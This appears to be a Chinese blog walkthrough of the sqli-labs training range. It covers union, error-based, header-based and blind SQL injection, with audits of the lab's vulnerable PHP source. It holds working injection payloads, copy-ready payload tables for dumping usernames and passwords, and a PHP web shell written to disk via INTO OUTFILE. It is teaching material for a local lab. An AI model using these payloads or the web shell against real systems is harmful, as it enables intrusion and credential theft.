SQL注入

联合注入

页面直接回显提取

一、基本原理:联合注入的核心是操作符UNION,它的作用是将两个或多个 SELECT 语句的结果集合并成一个结果集。需要注意的是这些SELECT语句查询出来的列必须列数一致,但是前一个语句报错不影响后一个语句执行。

二、sqli-labs靶场练习

1、Less-1
首先打开界面
img
提示我们要输入ID
http://127.0.0.1/sql/Less-1/?id=1

这里要解释一下为什么是?id=1:在本题当中HTTP传参方式是GET,基于这种方式是直接在url后面加?然后再加id=1作用是以GET的方式传递id这个参数给服务端

img
回车换行后发现页面正常回显,尝试使用单引号'闭合
img
我们可以看到mysql出现了报错,为什么会出现这个报错?原因是因为我们多上传了一个单引号',导致sql语句闭合,下面我将详细解释一下报错中的"1"是什么意思,以及为什么会出现这个报错。

$id=$_GET['id'];

这是其后端源码的一部分,我们可以看到:当我们上传id=1'时,会在id后再加一对单引号,新id就变成了'1'',接下来再看另一部分的源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们可以看到系统在新id外又新加了一层单引号,所以这条语句就变成了

$sql="SELECT * FROM users WHERE id=''1''' LIMIT 0,1";

数字1的前面只有两个单引号,后面有三个单引号,这样匹配下来就多了一个单引号出现了报错。在sql语句执行时,会去掉数字1最外端的一对单引号,就变成了'1'',我们再会看报错信息:
near ''1'' LIMIT 0,1'
near自带一对单引号,去掉它们就变成了'1'' LIMIT 0,1,数字1的左右两边出现了数量不一的单引号。这里的确比较绕,简单来说:一个多余的引号破坏了整个 SQL 语句的引号平衡,导致解析失败。
这时如果我们在?id=1'后添加mysql的注释--+,就变成了

$sql="SELECT * FROM users WHERE id=''1''--+' LIMIT 0,1";

这样后面的' LIMIT 0,1"就不会引发报错,如果我们此时输入?id=1 order by 3 --+,那么此时SQL语句就会变成

$sql="SELECT * FROM users WHERE id=''1'' order by 3 --+' LIMIT 0,1";

这样就可以执行代码order by 3
http://127.0.0.1/sql/Less-1/?id=1' --+
img
此时我们可以进行联合注入,先判断它有几列
http://127.0.0.1/sql/Less-1/?id=1' order by 3 --+
img
正常回显,继续尝试有无第四列
img
没有第四列,说明只有三列,然后继续判断回显位置

http://127.0.0.1/sql/Less-1/?id=1' union select 1,2,3 --+
img
为什么查询不到呢?不是因为union没有执行,而是Web应用通常只显示查询结果的第一行,所以浏览器直接返回了id=1的页面,如果要达到判断回显的目的,需要让第一个SELECT为假,也就是无法返回数据。更新后的exp如下:
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,2,3 --+
img
由此可见,回显位置是union select 1,2,3的数字23的位置,接下来就可以爆库名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,database(),3 --+
img
当前数据库为security,接下来我们可以利用mysql的一个特性:information_schema。这是一个非常特殊的数据库,里面存储了mysql所有数据库的系统信息,这个数据库可以帮助我们知道security数据库的所有表。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
img

这里需要解释一下为什么要使用group_concat:这个函数的作用是提取多行数据返回成一行表现出来。

表名我们已经知道了,接下来就该爆破users表里的列名了。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
img
其中username和password是我们的最终目标!临门一脚爆破出所有username和password。
http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users --+
img
2、Less-2

打开题目,先尝试一下单引号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1'发现的确出现了回显:img
我们可以注意到:报错信息中没有1'而是'只有一个单引号,没有数字1,说明这里没有成功闭合,猜测sql语句可能是

"SELECT * FROM users WHERE id=$id LIMIT 0,1";

所以才会出现只有一个单引号的报错,系统检测到1没问题,检测到'才输出报错,这是经典的数字型注入,poc如下:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=1

回显正常,如果输入:

http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2

页面无回显,确定是数字型注入,后续步骤与第一关大同小异。

补充说明:?id=1 and 1=1 以及 ?id=1 and 1=2 是经典的验证数字型注入的方法

3、Less-3

照例打开题目,尝试单引号闭合:
img

报错信息再次出现差异,重点关注'1''),比起第一关多了一个),可能是sql语句对参数id添加了一对小括号,当我们输入1'时sql语句就成了SELECT * FROM users WHERE id=('1'') LIMIT 0,1,我们可以先进行小括号闭合,再单引号闭合,poc如下:

http://127.0.0.1/sqli-labs/Less-3/?id=1') --+

img

发现正常回显,成功验证!后续爆破数据库名等信息的步骤这里不再赘述。

4、Less-4

按照以往方法测试
http://127.0.0.1/sqli-labs/Less-4/?id=1'

发现没有报错img
使用双引号测试一下:
http://127.0.0.1/sqli-labs/Less-4/?id=1"
img
发现报错信息是双引号和小括号闭合,poc如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") --+
img
成功回显!其余步骤与之前完全一致,这里不再叙述了。

SQL 注入的本质在于:服务端没有对用户输入中的恶意代码进行过滤或转义,导致攻击者可以通过构造特殊输入来操纵数据库查询,进而造成信息泄露甚至系统失陷。在 sqli-labs 靶场中,我们常用--+将后续的 SQL 语句注释掉,从而屏蔽掉原始查询中可能干扰执行的报错或多余条件,使我们的恶意代码顺利执行。因此,只要页面出现了预期的成功回显(例如正常显示数据库内容、绕过登录等),就证明服务端没有对输入做有效检查和过滤,也就意味着我们可以利用这个漏洞达成攻击目的。

联合查询写文件(INTO OUTFILE/DUMPFILE)

第七关比较特殊,它属于联合查询的一种,但是和前几关完全不同:它使用的是INTO OUTFILE写入文件
一、核心原理:MySQL 允许通过 SELECT ... INTO OUTFILE '文件路径'将查询结果保存到服务器操作系统的文件中。
二、sqli-labs-Less-7
我们照例输入?id=1
img
我们试着输入:?id=1'发现页面出现报错
img
我们加一个注释符:--+发现还是报错
img
说明没有闭合,但是单引号又会报错,可能是缺少括号。经过两次尝试,闭合是两个括号
http://127.0.0.1/sqli-labs/Less-7/?id=1')) --+
img
成功回显,说明闭合成功,的确是1'))的闭合方式。既然知道了闭合方式,我们可以判断列数
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3 --+
img
列数为3,回显正常,接着测试一下是否为4列,poc如下
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4 --+
img
回显报错,说明列数为3。这里我们可以注意到,它和其他联合注入不同的是,它没有回显,我们只能通过报错与否来判断。接下来要对情况进行分来,而分来标准就是MySQL中的一个系统变量:secure_file_priv用来限制 MySQL 允许执行文件操作的目录。一旦设置,MySQL 会拒绝任何不在此目录(或此目录的子目录)下的文件读写请求。
<1>secure_file_priv=" "
这种情况下,我们可以直接上传一句话木马:<?php @eval($_REQUEST[shell])?>,完整payload如下:
?id=-1')) union select 1,2,'<?php @eval($_REQUEST[0])?>' into outfile 'D:\\phpstudy\\WWW\\sqli-labs\\Less-7\\shell.php' --+
然后通过中国蚁剑进行连接,可以做到控制后台的目的。

报错注入

基本信息:报错注入是sql注入的另一分类,当常规的联合查询union因为字段数不对或页面不显示查询结果而无法使用时,报错注入往往能发挥奇效。

函数 触发报错的方式 示例 Payload
updatexml() XPath 格式错误 and updatexml(1, concat('~', database()), 1)
extractvalue() XPath 格式错误 and extractvalue(1, concat('~', database()))
floor() + rand() + group by 主键重复(duplicate entry) and (select 1 from (select count(*), concat(database(), floor(rand(0)*2)) x from information_schema.tables group by x) a)

一、报错函数详解
1、extractvalue()

(1)基本用法
ExtractValue() 是 MySQL 中另一个处理 XML 的函数。它用于从 XML 片段中提取文本内容,其基本语法如下:
extractvalue(XML_document, XPath_string)

  • XML_document:一个合法的 XML 字符串或字段
  • XPath_string:XPath 表达式,用于从 XML 中提取值

(2)核心原理

当extractvalue()的第二个参数XPath_string不合法时,MySQL就会报错,同时输出报错信息。如果攻击者有意构造payload,把想要查询的数据拼接到这个错误的 XPath 参数中,数据会随着报错信息一起输出。

2、updatexml()

(1)基本用法
updatexml()是 MySQL 中用于修改 XML 文档内容的函数,其基本语法如下:
updatexml(xml_target, xpath_expr, new_xml)

  • xml_target:要被修改的原始 XML 字符串(或其片段)。
  • xpath_expr:XPath 表达式,用于定位 xml_target 中要替换的节点。
  • new_xml:新的 XML 片段,用来替换匹配到的节点及其内容。

(2)核心原理
当updatexml()的第二个参数xpath_expr无效时,函数将直接报错并将表达式内容输出到报错信息中,和extractvalue非常相似。

3、count+floor()+rand()+group by主键重复
这种组合形成的报错核心原理是主键重复,本质是利用MySQL,接下来我会逐个详细介绍它们。
(1)三个函数介绍
<1>floor():其作用为向下取整

select floor(5.99);

img

select floor(6.01);

img
(2)count():计算总次数

select count(*) from users; #查询users表中有多少条数据

img
我们可以使用Navicat验证一下:
img
的确有三条数据
<3>group by:将数据按照一个或多个列的值进行分组,下面我将举例说明
这是一个uers表,我们可以注意到id=1id=4的password是一样的,我们试验一下
img

select password from users group by password;

img
我们可以从查询结果中看到,group by对数据按照password进行分组,分为了三组,而id=1id=4分到了同一组。
(4)rand():返回0-1的一个随机浮点数,可以在括号中填入参数,同一个参数产生的结果是相同的的,如果不填参数有则是随机的。
img
如果在rand()的括号内添加参数,那么每次返回值就会固定。
img

直接回显型 (Error-Returned)

一、定义
前端直接显示完整的 SQL 错误堆栈信息。攻击者提交一次请求,就能在页面看到爆出的数据。
二、sqli-labs
1、Less-5
打开关卡,照例尝试
http://127.0.0.1/sqli-labs/Less-5/?id=1'
img
确认是单引号注入,尝试注释报错
img
发现没有出现正常回显,这里我们可以学习一下它的源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}

当我们传参?id=1'--+时,+会被解析成空格,这么做是由于在 URL 中+通常被解析为空格。因为-- 注释在 SQL 中通常要求后面至少有一个空格(或换行)才能正确生效,所以--+被解析为-- ,保证了注释语法正确。SELECT * FROM users WHERE id='1'' LIMIT 0,1,这样后续的报错就会被注释掉,然后由mysql_query传递给result,再由mysql_fetch_arry传递给row,下面的if判断中如何row不为空即输出You are in...........
看来联合注入行不通,可以尝试报错注入,payload如下:
http://127.0.0.1/sqli-labs/Less-5/?id=1' and extractvalue('1',concat('~',(select database()))) --+
img
成功爆破数据库名,其余步骤和联合注入大同小异,这里继续爆破表名
?id=1' and extractvalue('1',concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
img
紧接着爆破列名
?id=1' and extractvalue('1',concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

这里要解释一下为什么要加一个and table_name='users',这是为了避免其他数据库同名表的影响

img
最后爆破字段
?id=1' and extractvalue('1',concat('~',(select group_concat(username) from users))) --+
img
2、Less-6
来到第六关,如法炮制,发现?id=1'不能成功,回显是
img
我们可以试一下双引号"闭合
http://127.0.0.1/sqli-labs/Less-6/?id=1"
img
发现产生报错,其余步骤与第五关别无二致。这里我们可以审一下它的源码

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

这是源码中关于SQL语句的部分,我们可以看到对于参数id,采取了双引号闭合的方式,并且在SQL语句中也使用了双引号,当我们输入id=1"时,SQL语句就会变成$sql="SELECT * FROM users WHERE id=1" LIMIT 0,1";造成双引号闭合报错,然后使用注释符--+注释报错,那就变成了$sql="SELECT * FROM users WHERE id=1" --+ LIMIT 0,1";,后面的LIMIT 0,1就会被注释掉,无法产生报错,我们输入的数据就会在id=1"之间 --+执行,例如:?id=1' and extractvalue('1',concat('~',(select database()))) --+,中间的and extractvalue('1',concat('~',(select database())))就会被服务端执行,从而爆出数据库名,也就是SQL注入的核心原理。

绕过型报错注入 (Filter Evasion Error-Based)

一、定义
核心报错函数被黑名单拦截或被转化,攻击者需使用冷门、变体或不依赖函数名的技巧。
二、sqli-labs
1、Less-17
(1)注入点分析
打开题目,发现传参方式是POST,尝试万能密码
img
发现被过滤了
img
(2)源码审计
这里我们审一下源码

<?php
// 1. 防御函数定义
function check_input($value) {
    if(!empty($value)) {
        $value = substr($value,0,15); // 截断长度限制为15
    }
    if(get_magic_quotes_gpc()) {
        $value = stripslashes($value); // 去除魔术引号转义
    }
    if(!ctype_digit($value)) {
        // 非数字则使用 mysql_real_escape_string 转义,并主动加上单引号包裹
        $value = "'" . mysql_real_escape_string($value) . "'";
    } else {
        $value = intval($value); // 数字则强制转为整型
    }
    return $value;
}

// 2. 参数获取与验证
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd']; // 漏洞点:直接获取,无任何过滤!

@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";//@过滤了报错但@无法屏蔽 MySQL 数据库返回的错误。下一行的 mysql_query($sql) 如果执行失败,错误信息会留在 MySQL 连接句柄中。
$result = mysql_query($sql);
$row = mysql_fetch_row($result);

if($row) {
    // 3. 密码更新与报错回显
    $sql = "UPDATE users SET password = '$passwd' WHERE username='$uname'";
    $result = mysql_query($sql) or die("Error: ".mysql_error()); // 漏洞点:打印错误信息
    
    if($result) {
        echo "<font color='#FFFF00'>Password Changed successfully!</font>";
    }
} else {
    echo "<font color='#FF0000'>Invalid username!</font>";
}
?>

将传参代码单独拿出来审计

// 对 uname 参数进行严格过滤
$uname = check_input($_POST['uname']);

// passwd 参数直接获取
$passwd = $_POST['passwd'];

// SQL 语句使用 UPDATE 更新密码
$sql = "UPDATE users SET password = '$passwd' WHERE username = '$uname'";

// 执行 SQL 语句并打印错误信息
$result = mysql_query($sql);
if (mysql_error()) {
    echo "<font color='#FFFF00'>"; // 显示错误信息,这是最严重的错误点,打印报错信息会导致攻击者有机可乘
    print_r(mysql_error());
    echo "</font>";
}

我们可以看到对于参数uname开发者进行了check_input处理,我们再看一下是如何处理的。

function check_input($value) {
    if (!empty($value)) {
        // 1. 截断到15位
        $value = substr($value, 0, 15);
    }
    // 2. 如果 magic_quotes 开启,去除多余反斜杠
    if (get_magic_quotes_gpc()) {
        $value = stripslashes($value);
    }
    // 3. 如果不是数字,使用 mysql_real_escape_string 转义
    if (!ctype_digit($value)) {
        $value = "'" . mysql_real_escape_string($value) . "'";
    } else {
        $value = intval($value);
    }
    return $value;
}

从函数check_input中可以看出开发者对uname进行了严格的过滤,先是对输入进行截取15位,然后又对历史遗留函数magic_quotes进行处理,最后也是最重要的就是对输入字符串进行判断处理

  • 分支 A:如果是字符串(非纯数字)
    • !ctype_digit($value): ctype_digit() 会检查字符串中是否全部都是数字字符 (0-9)。前面加了 !,即“如果不是纯数字”。
    • mysql_real_escape_string($value): 这是 MySQL 专属的转义函数。它比简单的 addslashes() 更安全,因为它会考虑当前数据库的字符集连接。它会转义以下字符:
    • "'" . ... . "'": 转义完成后,函数主动在数据的左右两边拼接上单引号。
      安全意义:这是极其关键的防御动作。假设用户输入 admin' #,经过转义变成 admin' #,再拼接引号变成 'admin' #'。当这个值放入 SQL 语句中时(例如 WHERE username = 'admin' #'),整个输入被严格限制在字符串字面量内,单引号无法逃逸闭合,注入彻底失败。
  • 分支 B:如果是纯数字
    • intval($value): 如果输入全是数字,则使用 intval() 强制将其转换为整型(整数)。
    • 安全意义:数字型注入(如 1 union select...)是因为开发者没有给数字加引号导致的。这里直接用 intval() 提取整数值,任何非数字字符都会被抛弃或截断。例如输入 1 union select 1,intval 处理后只剩下 1。这从根本上杜绝了数字型注入。而且数字在 SQL 语句中不需要加引号包裹。

在这样严密的防护条件下,无法从uname下手攻击了,考虑另一个参数passwd。虽然开发者对uname进行了极其严格的过滤,但是对于passwd没有任何防护,直接使用UPDATE进行密码修改,而且还使用了mysql_error(),可以使用报错注入的方式进行破解。
(3)解题
首先需要判断是什么类型的注入,输入正确用户名:admin,尝试在密码栏输入:1',如果报错说明是单引号闭合,如果不报错说明不是单引号报错。
img
说明确实是单引号闭合,后续步骤和之前大同小异,这里不再赘述了。
2、Less-18
这一关和上一关有明显不同,它对两个参数都进行了严格的过滤。为了方便学习,可以在
(1)源码审计

$uagent = $_SERVER['HTTP_USER_AGENT'];   // 直接取 UA,无任何过滤
$IP = $_SERVER['REMOTE_ADDR'];

$uname = check_input($_POST['uname']);   // 账号被过滤
$passwd = check_input($_POST['passwd']); // 密码被过滤

$sql="SELECT users.username, users.password FROM users 
      WHERE users.username=$uname and users.password=$passwd ...";
$row1 = mysql_fetch_array($result1);
if($row1) {   // 仅在登录成功后才执行 INSERT
    $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) 
             VALUES ('$uagent', '$IP', $uname)";
    mysql_query($insert);
    print_r(mysql_error());   // 关键:会回显 MySQL 报错
}

这里我们可以看到开发者虽然对账号密码都进行了过滤,但是对于user-agent采取直接提取,没有任何过滤,我们考虑使用user-agent注入。

这里需要说明一下什么是user-agent,官方定义是:User-Agent(用户代理,简称 UA)是 HTTP 请求头中的一个字段,由浏览器或客户端在每次发起请求时主动携带,用于向服务器声明自己的软件类型、操作系统、浏览器版本、渲染引擎等身份信息。服务器据此识别访问终端,从而返回适配的内容或做统计分析。简单来说,就是一种数字身份证,告诉服务器自己的信息,方便服务器进行处理。更通俗一点:把 User-Agent 想成浏览器随身携带的"自我介绍名片":我是谁(浏览器)、我住哪(操作系统)、我能干什么(渲染引擎),服务器据此决定怎么接待你。
这里举一个例子:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36: Mozilla/5.0 —— 历史兼容标记(“我是现代浏览器”)、(Windows NT 10.0; Win64; x64) —— 系统信息(“我用的是 Windows 64位电脑”、AppleWebKit/537.36 (KHTML, like Gecko) —— 渲染引擎与历史兼容(“我的内核血统”)、Chrome/124.0.0.0 —— 真实的浏览器身份(“我是 Chrome 124版”)、Safari/537.36 —— 最后的兼容标记(“顺便,我也兼容 Safari”)。

VALUES ('$uagent', '$IP', $uname)

从这行代码中我们可以看到$uagent是被单引号闭合的,客户端输入的UA数据闭合后会被直接运行。
(2)解题

这里需要做一个小提醒,在Less-17中我们修改了密码,所以建议大家在解Less-18时需要回到http://127.0.0.1/sqli-labs/并点击Setup/reset Database for labs,重置数据库。

首先使用BurpSuite抓包img
user-agent进行修改,我们已知是单引号闭合,在登录框输入正确账号密码(前面关卡可获得,常见 admin / admin),如果按照之前的报错注入的payload:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+会发生什么呢?
img
我们可以看到单引号闭合出现错误,无法完成闭合。
img
这是因为这行代码VALUES ('$uagent', '$IP', $uname)",我们修改的UA会放到'$uagent',会变成

INSERT INTO uagents (uagent, ip_address, username) VALUES ('1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+', '$IP', $uname)

这样做会有两个致命错误:

  • 括号没有闭合:VALUES( 有一个左括号,但后面缺少了对应的右括号 )。
  • 参数数量不足:INSERT 指定了 3 个列 (uagent, ip_address, username),但 VALUES 里面因为被注释,只剩下一个半拉表达式,根本无法凑齐 3 个参数对应的值。
    所以为了单引号闭合且不会注释掉后续参数我们这样修改payload:
    a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#这样sql语句就会变成:
INSERT INTO uagents (uagent, ip_address, username) VALUES ('a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#', '$IP', $uname)

不仅解决了参数不够的问题,还形成了单引号闭合,恶意代码成功执行。
后续步骤没有太大区别,不再过多赘述了。

目标 User-Agent 头 Payload
爆版本 a' or updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1) and '1'='#
爆库 a' or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1) and '1'='#
爆表 a' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1) and '1'='#
爆列 a' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1) and '1'='#
爆数据 a' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1) and '1'='#

3、Less-19
(1)前置知识
这一步要用到Referer,它的作用是告诉服务器,当前这个请求是从哪个页面链接过来的。比如你从百度点进一个链接,Referer 可能就是https://www.baidu.com/...。这里可以拿它和上一关中的user-agent进行对比。

对比维度 Referer User-Agent
核心问题 我从哪里来? (Where from?) 我是谁? (Who am I?)
携带内容 上一个页面的 URL 地址 客户端软件、系统、浏览器指纹信息
数据类型 统一资源定位符 (URL) 描述性的自由格式字符串
主要用户 网站管理人员(分析流量)、后端安全程序 前端开发者(做兼容)、后端安全程序
隐私敏感度 高,可能会泄露用户浏览历史路径 相对低,但能组合形成浏览器指纹,追踪用户
是否可空 可以。直接输入网址、收藏夹打开、HTTPS 跳转到 HTTP 时,Referer 为空 几乎一定有,但同样可被篡改或置空
控制策略 受 Referrer-Policy 安全策略控制(如只发域名,不发完整路径) 无严格策略,客户端可任意修改

(2)源码审计

$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

对参数unamepasswd依旧是防护转义

$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd ...";$row1 = mysql_fetch_array($result1);
if($row1) {   // 关键:只有在登录成功后才会执行 INSERT
    // 源码变量名可能叫 $uagent,但实际取的是 HTTP_REFERER
    $uagent =$_SERVER['HTTP_REFERER']; 
    $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
    mysql_query($insert);
    print_r(mysql_error()); // 关键:会回显 MySQL 报错
}

对于referer没有任何过滤直接提取,且存在mysql_error()函数输出报错,采用报错注入,其闭合方式和第18关基本一致。
(3)解题步骤
使用BurpSuite进行抓包并对referer字段进行修改:
img
其余步骤和上一关没有太大差别。

盲注

核心原理:顾名思义,就是看不到页面的任何具体回显数据,页面只有成功访问例如:You are in .....或者空白,没有任何回显。此时只能通过向数据库“提问”的方式,根据返回状态的真假(布尔盲注)或者页面回显的延迟(时间盲注)来判断。

布尔盲注

一、原理:顾名思义,就是利用是否来判断。简单来说,就是将敏感数据转化为是否的问题,通过页面返回的真假,逐步猜出数据。
二、sqli-labs
1、Less-8
打开题目,照例尝试一下单引号闭合?id=1'
img
发现没有回显,说明出现错误,再利用--+注释错误:
img
出现You are in.......说明题目确实是单引号闭合,接下来利用Burp Suite爆破数据库名,首先进行抓包并发送到攻击器模块,右击选择发送到攻击器。
img
然后配置payload:?id=1' and ascii(substr(database(),1,1))=1 --+

这里需要解释一下:ascii()和substr(),这是MySQL内置的两个函数。
ascii():将字符转为 ASCII 码
substr() :截取字符串
ascii(substr(database(),1,1))的执行顺序是先通过database()提取数据库:security,然后再利用substr(database(),1,1)从第一个位置开始截取一个字符串,得到s,最后由ascii()转化成ascii值。简单来说,就是一个字符一个字符逐一拆解数据库名称,使用Burp Suite会方便许多。

移送到攻击器模块后,我们可以添加两个攻击位置,攻击方式选择集群炸弹,也就是同时对两个位置进行测试。
这是第一个攻击位置的配置:

  • 类型:顺序
  • 从:1
  • 到:8
  • 步骤:1

img

说明:这里填 1-8 是因为已知当前数据库名 security 长度为 8。实际使用时长度未知,可以先写大一点(如 1-30),最后根据哪几个位置没有命中对勾来截断;或先用单独一轮 length(database())=N 探测长度。

第二个攻击位置的配置:

  • 类型:顺序
  • 从:32(空格,可见字符起点)
  • 到:126(~,可见字符终点)
  • 步骤:1

img

接下来需要配置一个设置中的匹配规则,当匹配到You are in...........时标记(此Burp Suite中是标记为1
img
总结一下Burp Suite配置的流程。
img
最后的结果大致如下:
img
后续只要按顺序将ascii值转化成字符就可以推测出数据库名为security

阶段 核心子查询 完整 payload 模板
表数量 count(table_name) ?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=N --+
表名长度 length((... limit m,1)) ?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=N --+
表名字符 ascii(substr(...,i,1)) ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=N --+
列名 information_schema.columns ?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=N --+
数据 select 列 from 库.表 ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=N --+
2、Less-15
这一关和之前略有不同,其传参方式不是GET,而是更加常见的POST,更加贴近于实战。
(1)确认注入类型:打开题目,界面变成了登录框的形式,尝试万能密码:1' or 1=1 #,发现的确是单引号闭合
img
没有回显,考虑时间盲注或布尔盲注。
(2)进一步判断盲注类型
判断是否为布尔盲注,可以使用永真条件永假条件
  • 永真条件: uname=1' or 1=1 #&passwd=1 (1=1 为真,页面应提示登录成功)
  • 永假条件: uname=1' or 1=2 #&passwd=1 (1=2 为假,页面应提示登录失败)

首先在Username输入框输入1' or 1=1 #,Password框随便输入即可
img
img
发现登录成功,再尝试一下永假的情况:
img
登录失败,说明是布尔盲注。
(3)Burp Suite爆破
接下来就是利用Burp Suite逐一爆破数据库等敏感信息,payload如下:
1' or ascii(substr(database(),1,1))=1 #
img
img
3、Less-16
这一关和上一关内容大同小异,只是因为闭合方式不同,这一关是双引号闭合。
img

时间盲注

一、原理:时间盲注指的是在页面无回显的情况下,通过页面回显的延迟来判断。
二、函数
1、sleep()

sleep(seconds)
  • 作用:让数据库查询暂停seconds秒,返回0
  • 如果参数为NULL,即secondNULL,则返回NULL,不会延时。
    2、benchmark()
    如果sleep()函数被禁用,我们可以采用其他函数:benchmark()
    (1)函数原型
    benchmark()是MySQL的内置函数,官方用途是测量表达式执行速度,而非用来延时。
    (2)函数表达式
BENCHMARK(count, expr)
  • count:执行的次数。为了能够明显测出时间差,通常需要设置一个很大的数字(比如 1000万次)。
  • expr:要测试的表达式。必须是一个标量表达式(返回单个值),比如 MD5('test') 或 1+1。
  • 测量范围:它只测量表达式在服务器端的运行时间。它不包含 SQL 解析、查询优化、网络传输或锁等待的时间。因此,它非常适合用来对比两个不同函数(如 MD5 vs SHA1)在 CPU 层面的纯计算性能
    (3)示例
-- 测试 MD5 执行 1000 万次的时间
SELECT BENCHMARK(10000000, MD5('test'));

img
三、sqli-labs
1、Less-9
这一关和第八关不同,无论我们输入什么。都只会回显You are in...........且没有任何布尔逻辑,所以考虑时间盲注。
首先尝试一下单引号闭合:http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+,发现页面回显速度有明显的延迟,说明确定是单引号闭合。这样一步步过于繁琐了,我们使用Burp Suite。操作步骤和布尔盲注大同小异,这里只说一下不同的地方。
(1) Options 选项卡:
重点设置 Grep - Match(结果匹配),用来让我们一眼看出哪个请求延迟了。

  • 在 Grep - Match 区域,点击 Add。
  • 由于我们无法匹配页面内容,只能看时间,所以这里其实不需要匹配特定字符串。我们直接观察请求时间即可。(Burp 会自动在结果列表中显示每个请求的响应时间)。
    (2)结果需要通过接收到响应时间来判断
    img
    当脚本走到115时,响应时间明显大幅度增大,说明ascii长度是115,也就是s
    后续步骤这里不再过多赘述
阶段 核心逻辑 完整 Payload 模板 (直接复制修改 N, i, m 即可)
验证注入点 sleep(N) ?id=1' and sleep(3) --+
库名长度 length(database())=N ?id=1' and if(length(database())=N,sleep(3),0) --+
库名字符 ascii(substr(database(),i,1))=N ?id=1' and if(ascii(substr(database(),i,1))=N,sleep(3),0) --+
表数量 count(table_name)=N ?id=1' and if((select count(table_name) from information_schema.tables where table_schema=database())=N,sleep(3),0) --+
表名长度 length((... limit m,1))=N ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit m,1))=N,sleep(3),0) --+
表名字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit m,1),i,1))=N,sleep(3),0) --+
列数量 count(column_name)=N ?id=1' and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=N,sleep(3),0) --+
列名长度 length((... limit m,1))=N ?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1))=N,sleep(3),0) --+
列名字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit m,1),i,1))=N,sleep(3),0) --+
数据数量 count(列名)=N ?id=1' and if((select count(username) from security.users)=N,sleep(3),0) --+
数据长度 length((... limit m,1))=N ?id=1' and if(length((select username from security.users limit m,1))=N,sleep(3),0) --+
数据字符 ascii(substr(...,i,1))=N ?id=1' and if(ascii(substr((select username from security.users limit m,1),i,1))=N,sleep(3),0) --+
替代延迟方案 benchmark(N, expr) ?id=1' and if(条件,benchmark(30000000,md5('test')),0) --+

变量说明:

  • N:要猜解的数字(如长度为 8,ASCII 码为 115)。
  • i:截取的第几个字符(从 1 开始)。
  • m:查询的第几条记录(从 0 开始,如 limit 0,1 取第一条)。
  • sleep(3):延迟 3 秒,可根据网络环境调整为 2、5 等。
  • benchmark(...):当 sleep() 被过滤时的替代方案,利用 CPU 密集计算制造延迟。

2、Less-10
这一关和第九关基本相同,唯一一点就是闭合方式不同。
http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5) --+
这一关是双引号闭合,其余步骤和第九关完全一致,这里不再赘述了。

posted @ 2026-06-09 11:02  abner957  阅读(22)  评论(0)    收藏  举报